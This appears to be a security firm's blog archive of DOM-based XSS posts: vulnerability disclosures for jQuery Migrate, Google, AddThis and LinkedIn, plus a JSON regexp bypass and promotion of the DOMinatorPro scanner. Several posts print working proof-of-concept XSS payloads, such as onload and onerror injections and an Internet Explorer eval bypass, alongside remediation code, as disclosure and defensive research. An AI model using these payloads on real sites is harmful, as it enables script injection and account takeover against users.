Showing posts with label Dom Xss. Show all posts
Showing posts with label Dom Xss. Show all posts

Monday, November 27, 2017

JavaScript security and tools evolution talk at OWASP Taiwan Week 2017

In this presentation are explained the modern improvements in JavaScript and Client (Browser) security features. Still, the increase of complexity in XSS attacks and vulnerabilities is driving the adoption of cutting-edge analysis tools for vulnerability discovering and analysis. At the end of the presentation, there is a demonstration of how BlueClosure can accomplish that with dynamic JavaScript analysis and fuzzing capabilities.


Slides:
https://www.slideshare.net/secret/NFIshhcqYVIHEp
Conference site:
http://2017.owasp.org.tw/speakers_01.html


Wednesday, February 4, 2015

Comparing DOM based XSS Identification Tools on a Real World Vulnerability

Due to the lack of literature about DOM Based XSS identification tools awareness, we decided to write a paper that took the actual tools that are stated to be able to identify DOM Based XSS and test their capabilities when dealing with a real world DOM XSS issue.

"..
Minded Security has been the first company to launch a commercial tool aimed to identify DOM Based XSS  with a runtime approach: DOMinatorPro.
In 2012, as a result of our research on DOM XSS, we released the tainting engine on github.com as an open source project and created a commercial version that let users easily identify several kind of JavaScript vulnerabilities with a pretty high rate of accuracy .

Since then, some tools, open source and commercial, have been developed and awareness on this very topic grew among application security experts.

The following paper will try to give an unbiased study supported by objective facts about precision and accuracy of existing tools that are stated to identify DOM Based XSS vulnerabilities.
..."




Pdf here
Every feedback is really welcome!



Monday, August 4, 2014

Linkedin.com fixes a High Risk Vulnerability inside its Javascript Code

Linkedin.com security team released a patch after receiving our DOMinatorPro Enterprise analysis report.

Update: The fix was actually faster than the fix notification. The fix was made in less than ten days.


DOMinatorPro Enterprise is very clever in finding exploitable JavaScript security issues on complex JavaScript web applications. You can find a PDF report that describes a new DOMXSS (https://www.owasp.org/index.php/DOM_Based_XSS) issue discovery in one of the major social media websites: Linkedin.com.


Linkedin.com DOMXSS Full PDF Report:


New improvements make DOMinatorPro Enterprise even more powerful!

DOMinatorPro Enterprise has new and improved features that make the discovery and exploitation of such complex issues very easy:
  • “Smart Fuzzer”. DOMinatorPro Enterprise fuzzer is smarter: it collects actionable parameters and fill those parameters with the values expected by the javascript source code itself.
  • Third Generation Exploitability Check. DOMinatorPro Enterprise not only follows strings manipulation functions, not only checks how many times encoding or decoding functions are called, it understands which meta-characters are allowed. This makes exploitability analysis one step further.

Linkedin.com is #9 in Alexa websites ranking and has more than 300 million users (http://blog.linkedin.com/2014/04/18/the-next-three-billion/) making it the world largest professional network.

Here at Minded Security it is not the first time that we find Javascript vulnerabilities in social network related javascript code on this blog to protect internet users. We already talked vulnerabilities affecting the following social network websites:

JavaScript security is very important, even more in portals where users store their personal data. Attackers can target those portals to find and exploit High-risk JavaScript vulnerabilities like DOMXSS vulnerabilities, to perform the following attacks:
  1. De-anonymize user identities. By abusing a DOMXSS attackers can instantly know the identity of their web visitors if the vulnerability is affecting a website like a social media portal.
  2. Private information stealing. Reading information from the page of the user page and sending those to the attacker (e.g. private messages)Account Takeover. Session hijacking, credential stealing or performing actions on the behalf of the user.
  3. Wormable Pandemic. These vulnerabilities let attackers to create JavaScript worms that could spread malicious content among millions of users.
DOMinatorPro Enterprise can find and analyze issues like one on almost any web portal, giving the technical insights you need to find and validate a plethora of JavaScript security issues.

Wednesday, June 18, 2014

Financial Cyber-Threat Briefing

“Planning for Attack-Resilient Web Applications”

The next 11th July 2014 in London Minded Security, the Software Security Company, will present an overview of the most common and latest attack vectors affecting online banking and other financial online services, strategies and methodologies for addressing growing risks in this domain and demonstrate some of latest untraceable exploits as well as solutions to stop them.

The agenda


14.30 to 15:00 Registration and welcome
15.00 to 16:15 Keynote Presentation
16:15 to 16:30 Networking Break 
16:30 to 17:15 Live Demos 
17:15 to 18.00 Networking Drinks Reception

Speakers and presentations

"Emerging Cyber-Threats Targeting Financial Institutions"
This presentation will share research carried out on the root causes of security incidents caused by attacks from emerging threats such as malware banking. The session will provide practical examples of instances of compromises causes by various threat agents and provide an in depth analysis of methods and attacks vectors employed against online banking applications. The scope of this analysis will be to analyse the threats, simulate attacks and identify flaws in application architecture that can be prioritised for remediation. To simulate the attack, modelling techniques such as the attack kill chain and attack trees will be shown. The goal of this session is to provide information security officer’s examples of processes, methodologies and risk frameworks that can be used to identify countermeasures to mitigate emerging threats.

Speaker: Marco Morana, SVP Technology Risks & Controls, Citi

"Overview of Online Banking Malware & Countermeasures"
This session will present how attackers currently identify and exploit web vulnerabilities on financial institution websites to stealing credentials. Giorgio will also demonstrate how compromised customer PC’s can compromise online transaction platforms an overview of the technology being used for prevention. Finally Giorgio will present a new technology “AMT Banking Malware Detector” that allows banks to identify users infected with malware before they become victims of fraud.

Speaker: Giorgio Fedon, COO, Minded Security & OWASP Lead.

"Preventing In-Browser Malicious Code Execution"
DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. Certain vulnerabilities in JavaScript code cannot be tracked by standard IDS or perimeter security measures, which leads to a huge potential vulnerability, the code can be abused to steal data or bypass authentication mechanisms in web interfaces. This presentation will demonstrate vulnerabilities and also present Minded Security’s latest countermeasure DOMinatorPro.

Speaker: Stefano Di Paola. CTO, Minded Security & OWASP Project Lead

Info & Registration

For more information and registration, please visit the following web page:

Friday, October 18, 2013

DOMinatorPro with Martin Hall at London Tester Gathering Workshops 2013

Martin Hall will give a talk "Bug Hunting for Fun and Profit" at the London Tester Gathering Workshops 2013.

http://skillsmatter.com/event/agile-scrum/ltg-workshops

During his presentation Martin will show a demo of DOMinatorPRO Standard and you will have the chance to try our product.

Martin will be showing how you can have fun, gain fame and money finding issues in software and websites you use every day. He'll also be showing you some of the basic tips and techniques that will enable you to become a great "Bounty Hunter". 

More information here:
http://skillsmatter.com/podcast/agile-scrum/martin-hall

Martin Hall is a Senior SDET Lead at Microsoft (Skype Division)

Thank Martin for your support!

Friday, April 19, 2013

"jQuery Migrate" is a Sink, too?!

or How "jQuery Migrate" un-fixes a nasty DOMXSS without telling us..

Foreword

Today Mario Heiderich of Cure53 tweeted the following message:

"@0x6D6172696F Does anyone know why jquery.com has a special jQuery 1.9.1 version that is still vulnerable to $(location.hash)?"

What happened after that message might be considered to be the discovery of a rather interesting bug - which Mario and me will try to wrap up in this joint blog-post.

In short words:
an official jQuery plugin un-fixes a long-gone DOMXSS bug and brings it back - even on the jQuery homepage itself!

The Long Story

First, let's give the word to Mario and hear what he has to say:

"Some days ago, while being engaged in a workshop, I discovered a funny thing.
I visited the jQuery.com homepage and tried playing around with the DOMXSS jQuery came shipped with some months ago.
The one, that could be exploited by allowing arbitrary user input to the $() function - remember?
My goal was to demonstrate the attendees, how the XSS worked, why it worked and how it was fixed.

So, I wanted to test if there's still ways to activate it and get past the regular expression they installed to mitigate the bug. First thing was to try the obvious, set location.hash to <svg onload="alert(1)"> and execute $(location.hash) via the Firebug console expecting it NOT to work.
But.
It worked.
Admittedly confused, I checked the jQuery version they deployed and it was the latest - jQuery 1.9.1.
That couldn't be - I must have made something wrong!

I decided to build a small dynamic checker to see which exact version of jQuery is vulnerable to this bug, and which is not. The tool I created - really ugly code, be warned - is here.
It simply fetches all the jQuery versions from 1.3.0 up to 2.0.0 from the Google API, tests the vector via location.hash and then goes red or stays green depending on whether the code executed or not. As can clearly be seen:
jQuery 1.6.2 was the last vulnerable version. And 1.9.1 is not!



So, what did the jQuery people do? Why is their latest version vulnerable but the actual version isn't? How did they get their version to be buggy again? In my desperate helplessness I tweeted and Stefano replied. He found the cause for this quirky behaviour of eternal madness."

Now, Stefano (me:) had a deep look into the code and started the engine of... well, you know it, DOMinatorPro to see what kind of roguery is going on here.

"Since the day I started to develop DOMinatorPro and write DOMXSSWiki I thoroughly studied jQuery internals in its very own, so when Mario tweeted about that, I immediately thought about some weird misunderstood mixed jQuery version behaviour, as sometimes have happened to me.
Yet, here's the screen-shot:




..and the version info indeed clearly says: 1.9.1!!!
You can easily check that via $.expando by the way - no need to dig in the site sources or script code itself.
But, how's that possible?
Can DOMinatorPro help  me?
Let's see. By simply doing the same with DOMinatorPro, it will show the following alert:


The StackTrace says:

buildFragment(elems="#<s>sss", context="[object HTMLDocument]",scripts="undefined", selection="undefined")jquery-1.9.1.js (line 6481)

parseHTML
(data="#<s>sss", context="[object HTMLDocument]",keepScripts="true")jquery-1.9.1.js (line 521)

init(selector="#<s>sss", context="undefined", rootjQuery="[object Object]")jquery....1.0.js (line 213)

jQuery(selector="#<s>sss", context="undefined")jquery-1.9.1.js (line 48)


ParseHTML? No way! What are those files? Wait a moment, that jquery....1.0.js (line 213) is actually:
http://code.jquery.com/jquery-migrate-1.1.0.js !!
Let's see what's there:

var matched, browser,
 oldInit = jQuery.fn.init,
 oldParseJSON = jQuery.parseJSON,
 // Note this does NOT include the #9521 XSS fix from 1.7!
 rquickExpr = /^(?:[^<]*(<[\w\W]+>)[^>]*|#([\w\-]*))$/;

// $(html) "looks like html" rule change
jQuery.fn.init = function( selector, context, rootjQuery ) {
 var match;

 if ( selector && typeof selector === "string" && !jQuery.isPlainObject( context ) &&
   (match = rquickExpr.exec( selector )) && match[1] ) {
  // This is an HTML string according to the "old" rules; is it still?
  if ( selector.charAt( 0 ) !== "<" ) {
   migrateWarn("$(html) HTML strings must start with '<' character");
  }
  // Now process using loose rules; let pre-1.8 play too
  if ( context && context.context ) {
   // jQuery object as context; parseHTML expects a DOM object
   context = context.context;
  }
  if ( jQuery.parseHTML ) {
         return oldInit.call( this, jQuery.parseHTML( jQuery.trim(selector), context, true ),
 /* Vuln Call Here !! -^*/  context, rootjQuery );
  }
 }
 return oldInit.apply( this, arguments );
};
jQuery.fn.init.prototype = jQuery.fn; 

So, by looking at the oldInit.call what happens here is that another jQuery sink is called (!) and that's jQuery.parseHTML."

Why is that?

It's probably a way to give back compatibility by recreating the old behavior using parseHTML, but jQuery guys forgot that there are two fixes that try to patch a wrong design choice, and the first one comes from Version > 1.6.2. These include the dreaded DOMXSS from Mala.
 
Can it be worked around? 

Mario wrote this quick and - as he calls it himself - incredibly dirty fix, which will address the unexpected abuse of this classical pattern:

function jQMfix(){      if(/</.test(location.hash)) {           location.hash=location.hash.replace(/</g,'')      } }
onhashchange=jQMfix; jQMfix();

The  fix is - and that is Mario speaking again - extremely dirty and everything but production ready.
But it shows a way to make sure the location.hash cannot be abused to cause DOMXSS on your precious website.
If your JavaScript is.. "special" it can of course still happen.

But you get the gist - make sure that if you use the jQuery Migration plugin that your web-app stays safe from DOMXSS.

Here's yet another way to approach it, from Stefano, but keep in mind that it's completely untested and more an example on how to approach it:

jQuery = $ =( function (r) {return function jQuery(a,b){
  if(a.charAt(0)==='#') 
    a=a.replace(/</g,'')
  r.apply(null,[a,b])
 }
} )(jQuery)
..and, of course, feel free to improve it and paste it in a comment.

We do see a lot of plugin-caused DOMXSS in the wild - but a plugin that purposely un-fixes an existing and well-known XSS bug? That's something :-)

Also, greetings to the fellow attendees of the jQuery UK conference that is happening right now.

Have a beautiful (0-)day! :)

Thursday, November 8, 2012

DOMinatorPro Fuzzer finds a DOM XSS on Google.com

Introduction a.k.a. tl;dr


A quite simple DOM Based XSS was found on https://www.google.com/ context using DOMinatorPro.
What I think it's interesting here, is to show how DOMinatorPro works in this real world case.

In order to give a more detailed description, i recorded a video (HD) to show how DOMinatorPro can help in finding those particular kind of issues.




Some Details

DOMinatorPro is a runtime JavaScript DOM XSS analyzer, which means it can check for complex filters and help in finding debug and/or unreferenced parameters during JavaScript execution.

In order to do that, DOMinatorPro exposes a fuzzer button which fuzzes the URL query string and html input elements that have keyboard events attached to them as shown in the youtube video.
By using that feature I found that the code in
http://www.googleadservices.com/pagead/landing.js
uses unvalidated input to build the argument for two document.write call.

This javascript is used, among others, by:
http://www.google.com/toolbar/ie/index.html
and
https://www.google.com/toolbar/ie/index.html
which means that one more time a (almost) 3rd party script introduces a flaw in the context of an unaware domain.

Source Analysis

From http://www.googleadservices.com/pagead/landing.js (which has now been removed) the following lines do not escape user input:

Line 53:
    if (w.google_conversion_ad) {
      url = url + "&gad=" + w.google_conversion_ad;
    }
    if (w.google_conversion_key) {
      url = url + "&gkw=" + w.google_conversion_key;
    }
    if (w.google_conversion_mtc) {
      url = url + "&gmtc=" + w.google_conversion_mtc;
    }
    if (w.google_conversion_raw) {
      url = url + "&graw=" + w.google_conversion_raw;
    }
    if (w.google_conversion_domain) {
      url = url + "&dom=" + w.google_conversion_domain;
    }
   
And those values are taken by using :
function google_get_param(url, param) {
var i;
var val;
if ((i = url.indexOf("?" + param + "=")) > -1 ||
(i = url.indexOf("?" + param.toUpperCase() + "=")) > -1 ||
(i = url.indexOf("&" + param + "=")) > -1 ||
(i = url.indexOf("&" + param.toUpperCase() + "=")) > -1) {
val = url.substring(i + param.length + 2, url.length);
if ((i = val.indexOf("&")) > -1) {
val = val.substring(0, i);
}
}
return val;
}
...
google_conversion_ad = google_get_param(url, "gad");
if (window.google_conversion_ad) {
(google_conversion_key = google_get_param(url, "gkw")) ||
(google_conversion_key = google_get_param(url, "ovkey"));
google_conversion_mtc = google_get_param(url, "ovmtc");
google_conversion_raw = google_get_param(url, "ovraw");
}
}

After the previous code, the url variable is used on line 91:

document.write('' name="google_conversion_frame"' +
' width="' + width + '"' +
' height="' + height + '"' +
' src="' + url + '"' +
' frameborder="0"' +
' marginwidth="0"' +
' marginheight="0"' +
' vspace="0"' +
' hspace="0"' +
' allowtransparency="true"' +
' scrolling="no">');

and line 103:

document.write(''src="' + url + '&ifr' + 'ame=0"' +
' />');
so the offending url (which can be found with DOMinatorPro fuzzer), is:

http://www.google.com/toolbar/ie/index.html?&gad=bbbb&gkw=yyyy&ovkey=10101010&ovmtc=14141414&ovraw=18181818&

and on any of those parameters can be added an attack payload like:

AAAA"onload="alert(document.domain)"

Remediation

I suggested that the use of encodeURIComponent on user data
    if (w.google_conversion_ad) {
      url = url + "&gad=" + encodeURIComponent(w.google_conversion_ad);
    }
    if (w.google_conversion_key) {
      url = url + "&gkw=" +
encodeURIComponent(w.google_conversion_key);
    }
    if (w.google_conversion_mtc) {
      url = url + "&gmtc=" +
encodeURIComponent(w.google_conversion_mtc);
    }
    if (w.google_conversion_raw) {
      url = url + "&graw=" +
encodeURIComponent(w.google_conversion_raw);
    }
    if (w.google_conversion_domain) {
      url = url + "&dom=" +
encodeURIComponent(w.google_conversion_domain);
    }

would have solved the problem.

Anyway, Google fixed that by removing that script for good, which is a solution as well! :)

Conclusions 

As already said in my previous post, I still see DOM based XSS all around with little awareness and difficulties by all actors in SDLC in identifying them.
DOMinatorPro can really help in finding DOM based XSS and it does that by helping testers, developers or QA users by trying to give the information they need by adapting to the knowledge they have.

Give DOMinatorPro a Try

Do you still trust all those 3rd party JavaScripts embedded in your pages ?
Just browse your site with DOMinatorPro or fuzz your pages and see what happens. :)
In case you need help, check out our professional services or just ask for a contact.

Monday, November 5, 2012

DOM XSS on Google Plus One Button

Introduction

DOMinatorPro can be very useful to find DOM Based XSS on complex JavaScript web applications. This post will describe a Cross Origin Resource Sharing (CORS) abuse exploiting a flaw in the JavaScript Plus One code on plus.google.com.
Just to be clear, yes, it's the +1 button present on billions of pages around the internet.
The issue affected the context of https://plus.google.com which is the context of the social network.

Before going further with any details, a picture is worth a thousand words:



In order to better explain the issue and show how DOMinatorPro helped me in finding the problem, and since a video is worth a thousand pictures, I recorded a video on Youtube MindedSecurity channel.






In the video I deliberately chose to not show a single line of JavaScript in order to demonstrate what DOMinatorPro can do for a tester with little knowledge of JavaScript.

In this post, on the other hand, I'd like to discuss about how the input was treated and how Google fixed the issue with input validation.

Code Issue Details

The offending URL in a simplified version was:
https://plusone.google.com/_/+1/fastbutton?url=http://www.example.com&ic=1&jsh=m;/_/apps-static/_/js/gapi/__features__/rt=j/ver=ZZZZ/sv=1/am=!YYYY/d=1/rs=XXX

First of all, a throw "Bad URL " exception can be spotted on line 425, which actually controls for the presence of multiple callbacks (/cb=/) in 'l' variable and  for the presence of classic  /[@"'<>#\?&%]/ metacharacters in 'ga'. If some of those conditions are satisfied then an exception (Bad URL) is thrown. 
That is called data validation.
 
420 d = m.split(";");
421 d = (i = M[d.shift()]) &&  i(d);
422 if (!d) throw "Bad hint:" + m;
423 i = d = d[q]("__features__", T(r))[q](/\/$/, "") + 
                   (e[s] ? "/ed=1/exm=" + T(e) : "")
                   + ("/cb=gapi." + J);
424 l = i.match(ha); // "https://apis.google.com/TAINTED/cb=gapi.loaded_0".match(/\/cb=/g)
425 if (!l || !(1 === l[s] && 
                 ga[p](i) && !fa[p](i)))
                      throw "Bad URL " + d;
426 e[k].apply(e, r);
427 L("ml0", r, I);
428 c[R.f] || t.___gapisync ?
     (c = d, "loading" != u.readyState ? 
     W(c) :
     u.write("<" + S + ' src="' + encodeURI(c) + '"></' + S + ">")) :
     W(d, c, J) 
....

Line 428 is the call to the function that performs a XMLHttpRequest. By following the flow on Line 532 (beautified) the 'l' variable is tainted and it's the one that is traced by DOMinatorPro, originating by the location.href jsh parameter:

starting from: jsh=m;/_/apps-static/_/js/gapi/....

becomes "https://apis.google.com/_/apps-static/_/js/gapi/..../cb=gapi.loaded_0" and l[q] is the replace function :

function W(){
...
531 a = v.XMLHttpRequest,
532 l = l[q](/^https?:\/\/[^\/]+\//, "/"), 
533 m = new a;
534 m.open("GET", l, f)
...
}
So on line 532 https://apis.google.com/ is removed and 'l' becomes:

"/_/apps-static/_/js/gapi/..../cb=gapi.loaded_0"

The reason why there is execution is that the response is evaluated using the following code:

B=function(a,b,c){v.execScript?v.execScript(b,"JavaScript"):c?a.eval(b):
 (a=a.document,c=a.createElement("script"),c.defer=i,
 c.appendChild(a.createTextNode(b)...
Now, about the fix, I suggested Google to perform some input validation using A tag properties,
var aa=document.createElement("a");
aa.href=untrustedURL;

and then use aa.pathname to be sure it's the browser doing the parsing job but probably it does not work perfectly for all browsers.

In fact Google devs decided to add more data validation

if (!l || !(1 === l[v] && ha[q](d) && 
            ga[q](d) && h && 1 === h[v]))
  throw "Bad URL " + a;
that code changes one check and adds another condition, to the previous one we already discussed.
In particular:
 
ga[q](d) changes from /[@"'><#\?&%]/ (blacklist) 
                 to  /^[\/_a-zA-Z0-9,.\-!:=]+$/ (whitelist)
 
And  
1 === h[v] has been added and means if there is 
            only one "//"  (like http://  )
Which seems pretty solid to me, at least in the context of this specific issue; of course, bypasses are always around the corner, but I'm sure Google security guys took the best effort to be sure it's safe!

Conclusions

DOM Based XSS still remains quite untested, and that's because JavaScript is not easy to analyze in complex scenarios.
DOMinatorPro can really help in finding issue in the easy-to-hard-to-identify range of DOM Based XSS category, because DOMinatorPro is not as simple as you might think, it's a complex piece of software and with a large knowledge base in it.

Thursday, September 27, 2012

Analysis of Dom Xss vulnerability in a Facebook Like Button implementation

Note: The following vulnerability is now patched. Thanks to Matt, Charlie and to the Addthis.com team that released a patch yesterday after receiving our advisory.


Description

I like very much facebook, and I like clicking on facebook like buttons like the one below. Addthis.com has its own implementation of Facebook Like Button and is very used among internet websites. They estimate that unique websites around the world are several millions.

A Facebook Like Button in a Share Widget Bar:



You can find some background information already in one of our previous posts:

•    http://blog.mindedsecurity.com/2012/09/temporary-patch-for-dom-xss-0day-in.html

Proof of Concept

http://www.website-with-addthis-widget.con/#"></fb:like><img/src="aaa"/onerror="alert('DomXss Found!')

Note: This reflected dombased cross site scripting (before the patch) was present in a tremendous number of websites


Vulnerable Code


if (F.href === _1) {
d = _8.util.clone(E.share.url_transforms || {});
d.defrag = 1;
F.href = _8.track.mgu(E.share.url, d);//-- Location
}
for (A in F) {
B += " " + A + "=\"" + F[A] + "\"";//-- Attribute Set
}
if (!E.share.xid) {
E.share.xid = _8.util.cuid();
}
f[F.href] = {};
for (A in E.share) {
f[F.href][A] = E.share[A];&nbsp; 
}
G.innerHTML = "<fb:like br="br" 
ref="\">_8.share.gcp(E.share, E.conf,".like").replace(",", "_") 
+ "\" " + B + "</fb:like>"; //-- DomXss
p(G);

Analysis and discovery with DOMinatorPro

Even if to the reader this issue seems like a common cross site scripting, finding such kind of security issues in Javascript code (aka DomXss) is an extremely complex task.

This is why our Advanced Research team developed DOMinatorPro. DOMinatorPro can be downloaded from the following dedicated website: http://dominator.mindedsecurity.com.

DOMinatorPro is a Free Opensource Project with Commercial Extensions. Commercial extensions have a 15 days Free Trial Period.

The vulnerability was in ONE of the scripts loaded by the “addthis_widget.js”  script available online at “http://s7.addthis.com/js/300/addthis_widget.js”. As you can see multiple scripts are loaded and the scripts are compressed and obfuscated , giving to human security reviewers a painful and a very long and time comsuming task to accomplish.

Note: The following part is taken from the DOMinatorPro user manual and shows a similar vulnerability in a demo context. In DOMinatorPro user manual you can find sample cases to help you understand the cause of the vulnerability for producing solid Javascript patches.

By the way, when browsing to a website with a vulnerable “Facebook - Like Button” with DOMinatorPro tool you will see in a couple of seconds the following alert:

From the previous screenshot the very interesting information is that you got an HTML Injection (e.g. Cross Site Scripting) from the location.href (e.g. the URL).
Important Note: Sink describes where the vulnerability is and the Source is where the controllable input comes from.
 

Summary of the issue: HTML injection vulnerability coming from a user supplied input location.href (URL)

 Source History

Next step is to check where this issue has been found. This is easy, looking at the source history:
Exact location of the issue is: 
  • http://www.vulnerablewebsite.con/webpage.aspx?menuid=3#injectedstring<>”’

Source history is a simplified call stack that shows the content of controllable strings.
Location.href can be controlled and the value is showed up in light green, after this string is concatenated with another string by left and by right.
As it is possible to see from the above picture, it’s also possible to check if there are validator functions in place by injecting HTML patterns after the # (hash); in this case I injected the pattern #injectedstring<>”’ after the vulnerable URL. Using the “Hash” sign is important because anything coming after it will not be sent to the server.
It’s possible to see from the last line that #injectedstring<>"' is not encoded (typical encoded string is in the form of: #injectedstring%3c%22%27).
By supplying now the correct exploit it is possible to turn the vulnerability into a reflected DOM cross site scripting attack:
 

Standard HTML Injection Payload: 
  • <img/src="aaa"/onerror="alert('DomXss Found!')">
Important Note: Thanks to DOMinatorPro Browser emulation feature we can mimic different browser insecure behaviors. This permits to show developers the vulnerability inside DOMinatorPro/Firefox, even if the previous exploit works only under Internet Explorer.

Call Stack 

Now for a developer it is time to open the “Call Stack”:

The Call Stack interactively shows where the vulnerability is with the correct line. It is possible to see “document.location.href” is not escaped properly.
It’s very important to output encode the value before it is displayed.

Fixing

Correct fixing at line 116:
•    Use the “encodeURIComponent()” function.

Tuesday, September 25, 2012

Temporary Patch for a Dom Xss 0day in Addthis.com Widgets


Note: Addthis.com fixed this issue yesterday 26/09/12 thanks to Addthis.com team for fixing it so rapidly!


Including a Javascript code in your homepage from another Website is a very common practice.

"Third party scripts are a hidden-potential security threat"

Addthis.com for example provides very useful scripts to help enhancing a website with the most used social media networks. From Wikipedia: “ AddThis is a widely used social bookmarking service that can be integrated into a website with the use of a web widget. Once it is added, visitors to the website can bookmark an item using a variety of services, such as Facebook, MySpace, Google Bookmarks, Pinterest, and Twitter.[2]”.

AddThis social plugins and analytics are used by "over 14 million sites worldwide” (2007).

You just need to “add this”:


There are many advantages in doing this:
•    code will be updated by the maintainer
•    bugs will be fixed silently
•    … many others

Unfortunately it also hides several drawbacks:

•    Security vulnerabilities in referenced scripts will affect your website

During the past year we analyzed many Javascript codes belonging to tracking cookies. Some of those analysis have been pretty interesting. During 2011 we reported for example several issues in Omniture Catalyst Javascript code, with documented proof of concept code (http://blog.mindedsecurity.com/2011/04/god-save-omniture-quine.html)

The DomXss Vulnerability

DOM-based Cross-Site Scripting is the de-facto name for XSS bugs which are the result of active browser-side content on a page, typically JavaScript, obtaining user input and then doing something unsafe with it which leads to execution of injected code. This document only discusses JavaScript bugs which lead to XSS.

More information about DomXss vulnerabilities can be found here:
•    https://www.owasp.org/index.php/DOM_Based_XSS
•    http://code.google.com/p/domxsswiki/wiki/Introduction

DomXss in Addthis.com Widgets


Details of the vulnerability have been temporarily omitted because the number of affected websites is huge. We did this for giving enough time to the vendor for fixing the issues (full details have been sent to support@addthis.com).

Note from 26/09: Investigating further, it seems that vulnerability is not always triggered; this may depends from the templates used
Note from 27/09: Details about the issue can be found here

Vulnerability has been found using DominatorPro, our DomXss Analyzer. Dominator is an opensource project with several extensions (some of these are commercial) and can be downloaded for free at

A temporary patch


You can make this temporary patch by configuration for protecting your website in the meantime that the vulnerable code will be fixed. Note: this patch is not for the vulnerability itself but will prevent it from being easily exploited.

To patch a vulnerable AddThis.com Widget manually populate the following property:

•    addthis:url

For more information visit:

 

Example:

 
...
<div addthis:url="http://example.com" class="addthis_toolbox addthis_default_style" nbsp="nbsp"> 
...


If you don’t add this, you are potentially vulnerable. 

Monday, August 22, 2011

Ye Olde Crockford JSON regexp is Bypassable

Introduction

While doing some test with DOMinator I found several sites and applications using the following JSON parse routine:

function jsonParse(string, secure) {
if (secure &&
!/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/.test(string.replace(/\\./g, "@").replace(/"[^"\\\n\r]*"/g, ""))) {
return null;
}
return eval("(" + string + ")");
}

or similar.
It turned out that eval function can be reached on IE and execute arbitrary javascript code.
Suppose, in fact, that the JSON String comes from a source like location.hash and consider the following code:

jsonParse(location.hash.slice(1),true);

So far, it was considered safe and, in fact, several javascript libraries use it.

Regexp Analysis

By looking at the regexp, it can be noted that the following string is considered valid:

jsonParse('a')

because of the Eaeflnr-u part with no quotes.

This means that even if the string does not represent a JSON Object it'll be eval'ed.

Once found this behavior, it's important to find window objects that match the regexp.
I did it by executing the following code:

for(var aa in window)
if( aa.match(/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/))
console.log(""+aa)

Which resulted in the following window objects:
  • self
  • status
Hence is possible to reference self["anyobject"]["anyotherobject"] in the eval.

Exploiting JSON Bypass

What's been described so far, shows that, depending on how that result is used, it will be potentially possible to change the flow of inner javascript.

There is more fun if the victim uses Internet Explorer.
According to the wonderful Sirdarckcat and ThornMaker research on Internet Explorer is possible to execute arbitrary JavaScript using the following code:

+{ valueOf: location,
toString: [].join,
0: 'payload',
length: 1
}

So, considering that self object can be used, the following string will be treated as a valid JSON payload:

+{ "valueOf": self["location"],
"toString": []["join"],
0: "javascript:alert(1)",
length: 1
}

This payload bypasses the old Crockford's regexp and will lead to arbitrary JavaScript execution.

Countermeasures and fix

The new json.js uses a brand new regexp which "should" be safe, however it's always better to use json_parse.js which doesn't use eval.

Finally, consider that, even if the JSON parser will work as expected, the attributes and values are not validated so don't trust them!

P.S.
This post doesn't mean that Firefox or other browsers are not exploitable. It's just a matter of time to find some working vector. So if you find it and want to share, leave a comment!

Thursday, July 28, 2011

jQuery is a Sink!

What's a Sink in Application Security?
A sink can be described as a function or method that is potentially dangerous when it's (unexpectedly) called or if one of its arguments, coming from an untrusted input, is not correctly escaped according to the layer the function is going to communicate to.

The jQuery Sink
Suppose we have the following code:
var aVar=location.hash;
jQuery(aVar);

By looking at the DOMinator output, you'll see something like the following:

That means the jQuery, or its alias '$', method is trying to understand if hash contains some tags. In particular part of the JavaScript stack trace will be similar to the following:

4 14:44:40.306 :[ http://host/jQueryTest.html#aaaaa ]
Target: [ exec(^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]+)$)) CallCount: 1 ]
Data:
+ #aaaaaa
http://host/jquery-1.4.3
,Line:19
,1: function (selector, context) {
2: var match, elem, ret, doc;
3: if (!selector) {
4: return this;
5: }
6: if (selector.nodeType) {
7: this.context = this[0] = selector;
8: this.length = 1;
9: return this;
10: }
11: if (selector === "body" && !context && document.body) {
12: this.context = document;
13: this[0] = document.body;
14: this.selector = "body";
15: this.length = 1;
16: return this;
17: }
18: if (typeof selector === "string") {
19: match = quickExpr.exec(selector);
20: if (match && (match[1] || !context)) {
21: if (match[1])
...


So, by trying to put #<img/src/onerror=alert(1)> in the hash part, we'll see the following alert on DOMinator:
12 14:44:40.364 :[ http://host/jQueryTest.html ]
Target: [ DIV.innerHTML CallCount: 1 ]
Data:
+ <img src="" onerror="alert(1)" />
+ Stack Trace
http://host/jquery-1.4.3
,Line:20
,1: function (elems, context, fragment, scripts) {
2: context = context || document;
3: if (typeof context.createElement === "undefined") {
4: context = context.ownerDocument ||
5: context[0] && context[0].ownerDocument || document;
6: }
7: var ret = [];
8: for (var i = 0, elem; (elem = elems[i]) != null; i++) {
9: if (typeof elem === "number") {
10: elem += "";
11: }
12: if (!elem) {
13: continue;
14: }
15: if (typeof elem === "string" && !rhtml.test(elem)) {
16: elem = context.createTextNode(elem);
17: } else if (typeof elem === "string") {
18: elem = elem.replace(rxhtmlTag, "<$1>");
19: var tag = (rtagName.exec(elem) || ["", ""])[1].toLowerCase(), wrap = wrapMap[tag] || wrapMap._default, depth = wrap[0], div = context.createElement("div");
20: div.innerHTML = wrap[1] + elem + wrap[2];
21: while (depth--) {
22: div = div.lastChild;
23: }
.....

Which means that if the arguments of jQuery contains some kind of tag it'll be rendered using innerHTML, resulting in a potential DOM Based Xss.

Countermeasures
If you have to use some untrusted input, Data Validation and Output encoding should be performed before using it as a jQuery argument.

Wednesday, May 18, 2011

The DOMinator Project

Update : DOMinator goes Pro and is now available at the following here

Finally DOMinator is public!


What is DOMinator?
DOMinator is a Firefox based software for analysis and identification of DOM Based Cross Site Scripting issues (DOMXss).
It is the first runtime tool which can help security testers to identify DOMXss.

How it works?

It uses dynamic runtime tainting model on strings and can trace back taint propagation operations in order to understand if a DOMXss vulnerability is actually exploitable.

You can have an introduction about the implementation flow and some interface description here

What are the possibilities?

In the topics of DOMXss possibilities are quite infinite.
At the moment DOMinator can help in identifying reflected DOM Based Xss, but there is potential to extend it to stored DOMXss analysis.

Download

Start from the installation instructions then have a look at the video.
Use the issues page to post about problems crashes or whatever.
And finally subscribe to the DOMinator Mailing List to get live news.

Video
A video has been uploaded here to show how it works.
Here's the video:


Soon I'll post more tutorials about the community version.


Some stats about DOM Xss

